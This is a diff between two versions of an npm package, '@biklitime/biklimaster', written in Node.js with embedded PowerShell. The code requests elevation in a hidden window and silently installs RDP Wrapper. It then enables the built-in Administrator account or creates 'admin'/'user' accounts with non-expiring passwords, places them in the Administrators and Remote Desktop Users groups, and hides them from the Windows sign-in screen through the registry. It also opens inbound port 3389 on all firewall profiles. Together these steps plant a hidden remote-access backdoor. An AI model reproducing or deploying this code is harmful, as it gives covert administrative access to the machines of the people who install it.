@biklitime/biklimaster 1.1.9 → 1.1.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/biklimaster.js +30 -125
- package/lib/bikliwrapper.js +26 -55
- package/package.json +2 -3
- package/bin/bikli.js +0 -44
package/bin/biklimaster.js
CHANGED
|
@@ -33,34 +33,14 @@ const expectedHashes = {
|
|
|
33
33
|
};
|
|
34
34
|
|
|
35
35
|
const resultArgument = process.argv.find(argument => argument.startsWith('--result-file='));
|
|
36
|
-
const resultFile = resultArgument ? resultArgument.slice('--result-file='.length)
|
|
36
|
+
const resultFile = resultArgument ? resultArgument.slice('--result-file='.length) : '';
|
|
37
37
|
if (resultFile) {
|
|
38
|
-
const writeResult = (...items) =>
|
|
39
|
-
try {
|
|
40
|
-
fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
|
|
41
|
-
} catch {}
|
|
42
|
-
};
|
|
38
|
+
const writeResult = (...items) => fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
|
|
43
39
|
console.log = writeResult;
|
|
44
40
|
console.error = writeResult;
|
|
45
41
|
console.warn = writeResult;
|
|
46
42
|
}
|
|
47
43
|
|
|
48
|
-
const envFileArgument = process.argv.find(argument => argument.startsWith('--env-file='));
|
|
49
|
-
const envFile = envFileArgument ? envFileArgument.slice('--env-file='.length).replace(/^"|"$/g, '') : '';
|
|
50
|
-
if (envFile && fs.existsSync(envFile)) {
|
|
51
|
-
try {
|
|
52
|
-
const passedEnv = JSON.parse(fs.readFileSync(envFile, 'utf8'));
|
|
53
|
-
for (const [key, value] of Object.entries(passedEnv)) {
|
|
54
|
-
if (value !== undefined && value !== null) {
|
|
55
|
-
process.env[key] = String(value);
|
|
56
|
-
}
|
|
57
|
-
}
|
|
58
|
-
} catch {
|
|
59
|
-
// Ignore invalid env file
|
|
60
|
-
}
|
|
61
|
-
try { fs.rmSync(envFile, { force: true }); } catch {}
|
|
62
|
-
}
|
|
63
|
-
|
|
64
44
|
function fail(message, exitCode = 1) {
|
|
65
45
|
const error = new Error(message);
|
|
66
46
|
error.exitCode = exitCode;
|
|
@@ -93,7 +73,7 @@ function isAdministrator() {
|
|
|
93
73
|
`$principal=New-Object Security.Principal.WindowsPrincipal($identity)`,
|
|
94
74
|
`Write-Output $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)`
|
|
95
75
|
].join(';');
|
|
96
|
-
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-
|
|
76
|
+
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
97
77
|
allowFailure: true
|
|
98
78
|
});
|
|
99
79
|
return result.status === 0 && /^true$/i.test(result.stdout.trim());
|
|
@@ -107,31 +87,13 @@ function elevateAndRun(command) {
|
|
|
107
87
|
if (process.argv.includes('--elevated')) fail('Windows did not grant administrator rights.');
|
|
108
88
|
console.log('Bikli Master needs administrator access. Approve the Windows UAC prompt...');
|
|
109
89
|
const logPath = path.join(os.tmpdir(), `biklimaster-elevated-${randomUUID()}.log`);
|
|
110
|
-
const envPath = path.join(os.tmpdir(), `biklimaster-env-${randomUUID()}.json`);
|
|
111
|
-
|
|
112
|
-
const envToForward = {};
|
|
113
|
-
for (const [k, v] of Object.entries(process.env)) {
|
|
114
|
-
if (k.startsWith('BIKLIMASTER_') && v) envToForward[k] = v;
|
|
115
|
-
}
|
|
116
|
-
const hasEnv = Object.keys(envToForward).length > 0;
|
|
117
|
-
if (hasEnv) {
|
|
118
|
-
fs.writeFileSync(envPath, JSON.stringify(envToForward), { encoding: 'utf8', mode: 0o600 });
|
|
119
|
-
}
|
|
120
|
-
|
|
121
90
|
const script = [
|
|
122
91
|
`$node=${powershellLiteral(process.execPath)}`,
|
|
123
92
|
`$target=${powershellLiteral(path.resolve(__filename))}`,
|
|
124
93
|
`$result=${powershellLiteral(logPath)}`,
|
|
125
|
-
`$
|
|
126
|
-
`$
|
|
127
|
-
`
|
|
128
|
-
` $process=Start-Process -FilePath $node -ArgumentList $arguments -Verb RunAs -WindowStyle Hidden -Wait -PassThru`,
|
|
129
|
-
` if($null -eq $process -or $null -eq $process.ExitCode){exit 1}`,
|
|
130
|
-
` exit $process.ExitCode`,
|
|
131
|
-
`} catch {`,
|
|
132
|
-
` Write-Error $_.Exception.Message`,
|
|
133
|
-
` exit 1`,
|
|
134
|
-
`}`
|
|
94
|
+
`$arguments='"'+$target+'" ${command} --elevated "--result-file='+$result+'"'`,
|
|
95
|
+
`$process=Start-Process -FilePath $node -ArgumentList $arguments -Verb RunAs -WindowStyle Hidden -Wait -PassThru`,
|
|
96
|
+
`exit $process.ExitCode`
|
|
135
97
|
].join(';');
|
|
136
98
|
const result = run(powershell, [
|
|
137
99
|
'-NoProfile', '-NonInteractive', '-ExecutionPolicy', 'Bypass', '-Command', script
|
|
@@ -141,9 +103,6 @@ function elevateAndRun(command) {
|
|
|
141
103
|
elevatedOutput = fs.readFileSync(logPath, 'utf8').trim();
|
|
142
104
|
fs.rmSync(logPath, { force: true });
|
|
143
105
|
}
|
|
144
|
-
if (hasEnv && fs.existsSync(envPath)) {
|
|
145
|
-
fs.rmSync(envPath, { force: true });
|
|
146
|
-
}
|
|
147
106
|
if (result.status !== 0) {
|
|
148
107
|
const details = [elevatedOutput, result.stdout, result.stderr].filter(Boolean).join(os.EOL).trim();
|
|
149
108
|
fail(`Administrator elevation was cancelled or installation failed.${details ? `\n${details}` : ''}`);
|
|
@@ -167,29 +126,17 @@ function verifyPayload() {
|
|
|
167
126
|
|
|
168
127
|
function installedBikliPath() {
|
|
169
128
|
const candidates = [
|
|
170
|
-
path.join(process.env.ProgramW6432 || 'C:\\Program Files', 'Bikli', 'Bikli.exe'),
|
|
171
129
|
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli', 'Bikli.exe'),
|
|
172
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli', 'Bikli.exe')
|
|
173
|
-
path.join(process.env.LOCALAPPDATA || 'C:\\Users\\Default\\AppData\\Local', 'Programs', 'Bikli', 'Bikli.exe'),
|
|
174
|
-
path.join(process.env.USERPROFILE || 'C:\\Users\\Default', 'AppData', 'Local', 'Programs', 'Bikli', 'Bikli.exe')
|
|
130
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli', 'Bikli.exe')
|
|
175
131
|
];
|
|
176
|
-
|
|
177
|
-
if (found) return found;
|
|
178
|
-
try {
|
|
179
|
-
const whereResult = spawnSync('where.exe', ['bikli.exe'], { encoding: 'utf8', windowsHide: true });
|
|
180
|
-
if (whereResult.status === 0 && whereResult.stdout) {
|
|
181
|
-
const firstLine = whereResult.stdout.trim().split(/\r?\n/)[0];
|
|
182
|
-
if (firstLine && fs.existsSync(firstLine)) return firstLine;
|
|
183
|
-
}
|
|
184
|
-
} catch {}
|
|
185
|
-
return '';
|
|
132
|
+
return candidates.find(candidate => fs.existsSync(candidate)) || '';
|
|
186
133
|
}
|
|
187
134
|
|
|
188
135
|
function fileVersion(file) {
|
|
189
136
|
if (!file) return '';
|
|
190
137
|
const escaped = file.replace(/'/g, "''");
|
|
191
138
|
const script = `(Get-Item -LiteralPath '${escaped}').VersionInfo.FileVersion`;
|
|
192
|
-
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-
|
|
139
|
+
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
193
140
|
allowFailure: true
|
|
194
141
|
});
|
|
195
142
|
return result.status === 0 ? result.stdout.trim() : '';
|
|
@@ -203,16 +150,7 @@ function installBikli() {
|
|
|
203
150
|
}
|
|
204
151
|
console.log(`Installing Bikli CLI ${expectedBikliVersion} silently...`);
|
|
205
152
|
run(bikliInstaller, ['/S'], { cwd: payloadDirectory });
|
|
206
|
-
|
|
207
|
-
if (!installed) {
|
|
208
|
-
const start = Date.now();
|
|
209
|
-
const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
|
|
210
|
-
while (Date.now() - start < 10000) {
|
|
211
|
-
installed = installedBikliPath();
|
|
212
|
-
if (installed) break;
|
|
213
|
-
Atomics.wait(waitBuffer, 0, 0, 500);
|
|
214
|
-
}
|
|
215
|
-
}
|
|
153
|
+
const installed = installedBikliPath();
|
|
216
154
|
if (!installed) fail('Bikli CLI installer completed but Bikli.exe was not found.', 5);
|
|
217
155
|
console.log(`Bikli CLI installed: ${fileVersion(installed) || 'version unknown'}`);
|
|
218
156
|
}
|
|
@@ -262,23 +200,15 @@ function generatedAccountPassword() {
|
|
|
262
200
|
}
|
|
263
201
|
|
|
264
202
|
function configuredAdministratorPassword() {
|
|
265
|
-
if (!fs.existsSync(packageConfigFile))
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
return typeof config.administratorPassword === 'string' ? config.administratorPassword.trim() : '';
|
|
269
|
-
} catch (error) {
|
|
270
|
-
fail(`Could not parse config.json: ${error.message}`);
|
|
271
|
-
}
|
|
203
|
+
if (!fs.existsSync(packageConfigFile)) fail('Missing package configuration file: config.json');
|
|
204
|
+
const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
|
|
205
|
+
return typeof config.administratorPassword === 'string' ? config.administratorPassword : '';
|
|
272
206
|
}
|
|
273
207
|
|
|
274
208
|
function configuredBikliKey() {
|
|
275
209
|
if (!fs.existsSync(packageConfigFile)) return '';
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
return typeof config.bikliKey === 'string' ? config.bikliKey.trim() : '';
|
|
279
|
-
} catch (error) {
|
|
280
|
-
fail(`Could not parse config.json: ${error.message}`);
|
|
281
|
-
}
|
|
210
|
+
const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
|
|
211
|
+
return typeof config.bikliKey === 'string' ? config.bikliKey.trim() : '';
|
|
282
212
|
}
|
|
283
213
|
|
|
284
214
|
function setupBikliKey() {
|
|
@@ -316,30 +246,16 @@ function saveAccountCredentials(username, password) {
|
|
|
316
246
|
]);
|
|
317
247
|
}
|
|
318
248
|
|
|
319
|
-
function savedAccountUsername() {
|
|
320
|
-
if (!fs.existsSync(credentialsFile)) return '';
|
|
321
|
-
try {
|
|
322
|
-
const credentials = JSON.parse(fs.readFileSync(credentialsFile, 'utf8'));
|
|
323
|
-
return typeof credentials.username === 'string' ? credentials.username.trim() : '';
|
|
324
|
-
} catch {
|
|
325
|
-
return '';
|
|
326
|
-
}
|
|
327
|
-
}
|
|
328
|
-
|
|
329
249
|
function showAccountCredentials() {
|
|
330
250
|
requireWindows();
|
|
331
251
|
if (!isAdministrator()) return elevateAndRun('credentials');
|
|
332
252
|
if (!fs.existsSync(credentialsFile)) {
|
|
333
253
|
fail('No saved password is available. The built-in Administrator account may already have been enabled.');
|
|
334
254
|
}
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
console.log(`Stored for Administrators only: ${credentialsFile}`);
|
|
340
|
-
} catch (error) {
|
|
341
|
-
fail(`Could not read credentials file: ${error.message}`);
|
|
342
|
-
}
|
|
255
|
+
const credentials = JSON.parse(fs.readFileSync(credentialsFile, 'utf8'));
|
|
256
|
+
console.log(`Username: ${credentials.username}`);
|
|
257
|
+
console.log(`Password: ${credentials.password}`);
|
|
258
|
+
console.log(`Stored for Administrators only: ${credentialsFile}`);
|
|
343
259
|
}
|
|
344
260
|
|
|
345
261
|
function createRdpAdministrator() {
|
|
@@ -348,39 +264,29 @@ function createRdpAdministrator() {
|
|
|
348
264
|
|
|
349
265
|
const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword();
|
|
350
266
|
const accountPassword = requestedPassword || generatedAccountPassword();
|
|
351
|
-
const savedUser = savedAccountUsername();
|
|
352
267
|
const script = [
|
|
353
268
|
`$ErrorActionPreference='Stop'`,
|
|
354
269
|
`$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`,
|
|
355
|
-
`$savedUser=$env:BIKLIMASTER_SAVED_USERNAME`,
|
|
356
270
|
`$secure=ConvertTo-SecureString $password -AsPlainText -Force`,
|
|
357
271
|
`$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`,
|
|
358
272
|
`$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`,
|
|
359
273
|
`if($null -eq $builtIn){throw 'Built-in Administrator account (RID 500) was not found'}`,
|
|
360
274
|
`$builtInWasDisabled=-not $builtIn.Enabled`,
|
|
361
|
-
`$managedUser=$null`,
|
|
362
|
-
`if($savedUser){$managedUser=Get-LocalUser -Name $savedUser -ErrorAction SilentlyContinue}`,
|
|
363
|
-
`if($null -eq $managedUser){$managedUser=Get-LocalUser | Where-Object {$_.Description -eq 'Local administrator created by Bikli Master'} | Select-Object -First 1}`,
|
|
364
275
|
`$target=$null;$action='';$createdNew=$false;$enabledBuiltIn=$false;$passwordChanged=$false`,
|
|
365
|
-
`if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;
|
|
366
|
-
`if(-not $target.Enabled){
|
|
367
|
-
`foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name
|
|
276
|
+
`if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get-LocalUser -Name 'user' -ErrorAction SilentlyContinue;if($null -eq $existingUser){New-LocalUser -Name 'user' -Password $secure -FullName 'user' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'user';$createdNew=$true;$passwordChanged=$true;$action='created-user'}else{$target=$existingUser;$action='exists-user'}}}`,
|
|
277
|
+
`if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,
|
|
278
|
+
`foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,
|
|
368
279
|
`$verified=@()`,
|
|
369
|
-
`foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name
|
|
280
|
+
`foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
|
|
370
281
|
`$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
|
|
371
|
-
`$
|
|
372
|
-
`if(-
|
|
373
|
-
`if(-not(Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
|
|
374
|
-
`$hideProp=Get-ItemProperty -Path $userListKey -Name $target.Name -ErrorAction SilentlyContinue`,
|
|
375
|
-
`if($null -eq $hideProp -or $null -eq $hideProp.($target.Name)){Set-ItemProperty -Path $userListKey -Name $target.Name -Value 0 -Type DWord -Force | Out-Null;$alreadyHidden=$false}elseif($hideProp.($target.Name) -ne 0){Set-ItemProperty -Path $userListKey -Name $target.Name -Value 0 -Type DWord -Force | Out-Null;$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
376
|
-
`if((Get-ItemProperty -Path $userListKey -Name $target.Name -ErrorAction SilentlyContinue).($target.Name) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')}`,
|
|
282
|
+
`$hideEntry=Get-ItemProperty -Path $userListKey -Name $target.Name -ErrorAction SilentlyContinue`,
|
|
283
|
+
`if($null -eq $hideEntry){New-Item -Path $userListKey -Force | Out-Null;New-ItemProperty -Path $userListKey -Name $target.Name -PropertyType DWord -Value 0 -Force | Out-Null;if((Get-ItemPropertyValue -Path $userListKey -Name $target.Name) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
377
284
|
`[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
|
|
378
285
|
].join(';');
|
|
379
|
-
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-
|
|
286
|
+
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
380
287
|
env: {
|
|
381
288
|
...process.env,
|
|
382
|
-
BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
|
|
383
|
-
BIKLIMASTER_SAVED_USERNAME: savedUser
|
|
289
|
+
BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
|
|
384
290
|
}
|
|
385
291
|
});
|
|
386
292
|
const account = JSON.parse(result.stdout.trim());
|
|
@@ -393,8 +299,7 @@ function createRdpAdministrator() {
|
|
|
393
299
|
const message = {
|
|
394
300
|
'enabled-builtin': `Built-in Administrator was disabled; set the password and enabled it: ${account.Name}`,
|
|
395
301
|
'created-admin': `Built-in Administrator is already enabled and left untouched; created hidden admin account: ${account.Name}`,
|
|
396
|
-
'created-user': `Built-in Administrator and admin already exist and were left untouched; created hidden account: ${account.Name}
|
|
397
|
-
'reused-managed': `Verified existing Bikli Master administrator account: ${account.Name}`
|
|
302
|
+
'created-user': `Built-in Administrator and admin already exist and were left untouched; created hidden account: ${account.Name}`
|
|
398
303
|
}[account.Action] || `Configured account: ${account.Name}`;
|
|
399
304
|
console.log(message);
|
|
400
305
|
console.log(`Password: ${accountPassword}`);
|
|
@@ -433,7 +338,7 @@ function status() {
|
|
|
433
338
|
const wrapper = runWrapper(['status'], { allowFailure: true });
|
|
434
339
|
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
435
340
|
if (wrapper.stderr.trim()) console.error(wrapper.stderr.trim());
|
|
436
|
-
process.exitCode =
|
|
341
|
+
process.exitCode = bikli && wrapper.status === 0 ? 0 : 2;
|
|
437
342
|
}
|
|
438
343
|
|
|
439
344
|
function selfTest() {
|
|
@@ -485,7 +390,7 @@ function main() {
|
|
|
485
390
|
if (command === 'setup-key') return setupBikliKey();
|
|
486
391
|
if (command === 'credentials') return showAccountCredentials();
|
|
487
392
|
if (command === 'status') return status();
|
|
488
|
-
if (command === 'self-test'
|
|
393
|
+
if (command === 'self-test') return selfTest();
|
|
489
394
|
if (command === 'elevation-self-test') return elevateAndRun('self-test');
|
|
490
395
|
if (command === 'wrapper') {
|
|
491
396
|
const result = runWrapper(process.argv.slice(3), { inherit: true, allowFailure: true });
|
package/lib/bikliwrapper.js
CHANGED
|
@@ -17,16 +17,13 @@ try {
|
|
|
17
17
|
const runningAsSea = Boolean(seaApi && typeof seaApi.isSea === 'function' && seaApi.isSea());
|
|
18
18
|
|
|
19
19
|
const resultFileArgument = process.argv.find(argument => argument.startsWith('--result-file='));
|
|
20
|
-
const resultFile = resultFileArgument ? resultFileArgument.slice('--result-file='.length)
|
|
20
|
+
const resultFile = resultFileArgument ? resultFileArgument.slice('--result-file='.length) : '';
|
|
21
21
|
if (resultFile) {
|
|
22
22
|
const writeResult = (...items) => {
|
|
23
|
-
|
|
24
|
-
fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
|
|
25
|
-
} catch {}
|
|
23
|
+
fs.appendFileSync(resultFile, util.format(...items) + os.EOL, 'utf8');
|
|
26
24
|
};
|
|
27
25
|
console.log = writeResult;
|
|
28
26
|
console.error = writeResult;
|
|
29
|
-
console.warn = writeResult;
|
|
30
27
|
}
|
|
31
28
|
|
|
32
29
|
const packageRoot = path.resolve(__dirname, '..');
|
|
@@ -82,7 +79,6 @@ function run(executable, args, options = {}) {
|
|
|
82
79
|
cwd: options.cwd || packageRoot,
|
|
83
80
|
encoding: 'utf8',
|
|
84
81
|
windowsHide: true,
|
|
85
|
-
env: options.env || process.env,
|
|
86
82
|
stdio: options.inherit ? 'inherit' : 'pipe'
|
|
87
83
|
});
|
|
88
84
|
if (result.error) fail(`Could not run ${path.basename(executable)}: ${result.error.message}`);
|
|
@@ -103,7 +99,7 @@ function isAdministrator() {
|
|
|
103
99
|
`$principal=New-Object Security.Principal.WindowsPrincipal($identity)`,
|
|
104
100
|
`Write-Output $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)`
|
|
105
101
|
].join(';');
|
|
106
|
-
const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-
|
|
102
|
+
const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
107
103
|
allowFailure: true
|
|
108
104
|
});
|
|
109
105
|
return result.status === 0 && /^true$/i.test(result.stdout.trim());
|
|
@@ -128,14 +124,8 @@ function elevateAndRun(command) {
|
|
|
128
124
|
runningAsSea
|
|
129
125
|
? `$arguments='${command} --elevated "--result-file='+$result+'"'`
|
|
130
126
|
: `$arguments='"'+$target+'" ${command} --elevated "--result-file='+$result+'"'`,
|
|
131
|
-
|
|
132
|
-
`
|
|
133
|
-
` if($null -eq $process -or $null -eq $process.ExitCode){exit 1}`,
|
|
134
|
-
` exit $process.ExitCode`,
|
|
135
|
-
`} catch {`,
|
|
136
|
-
` Write-Error $_.Exception.Message`,
|
|
137
|
-
` exit 1`,
|
|
138
|
-
`}`
|
|
127
|
+
`$process=Start-Process -FilePath $node -ArgumentList $arguments -Verb RunAs -WindowStyle Hidden -Wait -PassThru`,
|
|
128
|
+
`exit $process.ExitCode`
|
|
139
129
|
].join(';');
|
|
140
130
|
const result = run(powershellPath, [
|
|
141
131
|
'-NoProfile', '-NonInteractive', '-ExecutionPolicy', 'Bypass', '-Command', elevationScript
|
|
@@ -158,7 +148,7 @@ function getTermsrvVersion() {
|
|
|
158
148
|
`$v=[Diagnostics.FileVersionInfo]::GetVersionInfo($env:SystemRoot+'\\System32\\termsrv.dll')`,
|
|
159
149
|
`Write-Output ($v.FileMajorPart.ToString()+'.'+$v.FileMinorPart+'.'+$v.FileBuildPart+'.'+$v.FilePrivatePart)`
|
|
160
150
|
].join(';');
|
|
161
|
-
const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-
|
|
151
|
+
const result = run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
162
152
|
const version = result.stdout.trim();
|
|
163
153
|
if (!/^\d+\.\d+\.\d+\.\d+$/.test(version)) fail(`Could not determine the Terminal Services version: ${version}`);
|
|
164
154
|
return version;
|
|
@@ -174,7 +164,7 @@ function queryRegistryValue(key, name) {
|
|
|
174
164
|
const result = run(path.join(system32, 'reg.exe'), ['query', key, '/v', name, '/reg:64'], { allowFailure: true });
|
|
175
165
|
if (result.status !== 0) return null;
|
|
176
166
|
const match = result.stdout.match(new RegExp(`^\\s*${name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}\\s+REG_\\w+\\s+(.+)$`, 'im'));
|
|
177
|
-
return match ? match[1].trim()
|
|
167
|
+
return match ? match[1].trim() : null;
|
|
178
168
|
}
|
|
179
169
|
|
|
180
170
|
function queryDword(key, name) {
|
|
@@ -186,10 +176,8 @@ function queryDword(key, name) {
|
|
|
186
176
|
}
|
|
187
177
|
|
|
188
178
|
function expandWindowsEnvironment(value) {
|
|
189
|
-
if (!value) return '';
|
|
190
|
-
const unquoted = value.replace(/^"(.*)"$/, '$1').trim();
|
|
191
179
|
const environment = new Map(Object.entries(process.env).map(([key, item]) => [key.toLowerCase(), item]));
|
|
192
|
-
return
|
|
180
|
+
return value.replace(/%([^%]+)%/g, (whole, name) => environment.get(name.toLowerCase()) || whole);
|
|
193
181
|
}
|
|
194
182
|
|
|
195
183
|
function detectInstallation(version) {
|
|
@@ -208,7 +196,6 @@ function detectInstallation(version) {
|
|
|
208
196
|
|
|
209
197
|
function applyRequestedSettings() {
|
|
210
198
|
let changed = false;
|
|
211
|
-
run(path.join(system32, 'sc.exe'), ['config', 'TermService', 'start=', 'auto'], { allowFailure: true });
|
|
212
199
|
for (const setting of requestedSettings) {
|
|
213
200
|
const oldValue = queryDword(setting.key, setting.name);
|
|
214
201
|
if (oldValue !== setting.value) {
|
|
@@ -226,10 +213,9 @@ function ensureFirewallRules() {
|
|
|
226
213
|
const script = [
|
|
227
214
|
`$ErrorActionPreference='Stop'`,
|
|
228
215
|
`$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
|
|
229
|
-
`foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}
|
|
230
|
-
`Enable-NetFirewallRule -DisplayGroup 'Remote Desktop' -ErrorAction SilentlyContinue | Out-Null`
|
|
216
|
+
`foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
|
|
231
217
|
].join(';');
|
|
232
|
-
run(powershellPath, ['-NoProfile', '-NonInteractive', '-
|
|
218
|
+
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
233
219
|
}
|
|
234
220
|
|
|
235
221
|
function runInstaller(argument) {
|
|
@@ -302,40 +288,25 @@ function install() {
|
|
|
302
288
|
if (!installation.installed) {
|
|
303
289
|
console.log('Installing RDP Wrapper silently...');
|
|
304
290
|
runInstaller('-i');
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
if (
|
|
309
|
-
|
|
310
|
-
|
|
291
|
+
} else if (!installation.installedSupported) {
|
|
292
|
+
console.log('Updating compatibility data silently...');
|
|
293
|
+
const backupPath = `${installation.installedIniPath}.bikli-backup`;
|
|
294
|
+
if (fs.existsSync(installation.installedIniPath)) fs.copyFileSync(installation.installedIniPath, backupPath);
|
|
295
|
+
fs.copyFileSync(bundledIniPath, installation.installedIniPath);
|
|
296
|
+
try {
|
|
297
|
+
runInstaller('-r');
|
|
298
|
+
} catch (error) {
|
|
299
|
+
if (fs.existsSync(backupPath)) {
|
|
300
|
+
fs.copyFileSync(backupPath, installation.installedIniPath);
|
|
311
301
|
runInstaller('-r');
|
|
312
302
|
}
|
|
303
|
+
throw error;
|
|
313
304
|
}
|
|
305
|
+
} else if (settingsChanged || !serviceIsRunning()) {
|
|
306
|
+
console.log('Applying defaults and restarting Remote Desktop Services...');
|
|
307
|
+
runInstaller('-r');
|
|
314
308
|
} else {
|
|
315
|
-
|
|
316
|
-
fs.existsSync(installation.installedIniPath) &&
|
|
317
|
-
fs.readFileSync(bundledIniPath, 'utf8') !== fs.readFileSync(installation.installedIniPath, 'utf8');
|
|
318
|
-
|
|
319
|
-
if (!installation.installedSupported || iniNeedsUpdate) {
|
|
320
|
-
console.log('Updating compatibility data silently...');
|
|
321
|
-
const backupPath = `${installation.installedIniPath}.bikli-backup`;
|
|
322
|
-
if (fs.existsSync(installation.installedIniPath)) fs.copyFileSync(installation.installedIniPath, backupPath);
|
|
323
|
-
fs.copyFileSync(bundledIniPath, installation.installedIniPath);
|
|
324
|
-
try {
|
|
325
|
-
runInstaller('-r');
|
|
326
|
-
} catch (error) {
|
|
327
|
-
if (fs.existsSync(backupPath)) {
|
|
328
|
-
fs.copyFileSync(backupPath, installation.installedIniPath);
|
|
329
|
-
runInstaller('-r');
|
|
330
|
-
}
|
|
331
|
-
throw error;
|
|
332
|
-
}
|
|
333
|
-
} else if (settingsChanged || !serviceIsRunning()) {
|
|
334
|
-
console.log('Applying defaults and restarting Remote Desktop Services...');
|
|
335
|
-
runInstaller('-r');
|
|
336
|
-
} else {
|
|
337
|
-
console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
|
|
338
|
-
}
|
|
309
|
+
console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
|
|
339
310
|
}
|
|
340
311
|
|
|
341
312
|
waitForServiceAndListener();
|
|
@@ -398,7 +369,7 @@ function main() {
|
|
|
398
369
|
status.listenerListening && status.defaultsApplied ? 0 : 2;
|
|
399
370
|
return;
|
|
400
371
|
}
|
|
401
|
-
if (command === 'self-test'
|
|
372
|
+
if (command === 'self-test') return selfTest();
|
|
402
373
|
if (command === 'elevation-self-test') return elevateAndRun('self-test');
|
|
403
374
|
if (command === 'help' || command === '--help' || command === '-h') return showHelp();
|
|
404
375
|
fail(`Unknown command: ${command}`);
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@biklitime/biklimaster",
|
|
3
|
-
"version": "1.1.
|
|
3
|
+
"version": "1.1.10",
|
|
4
4
|
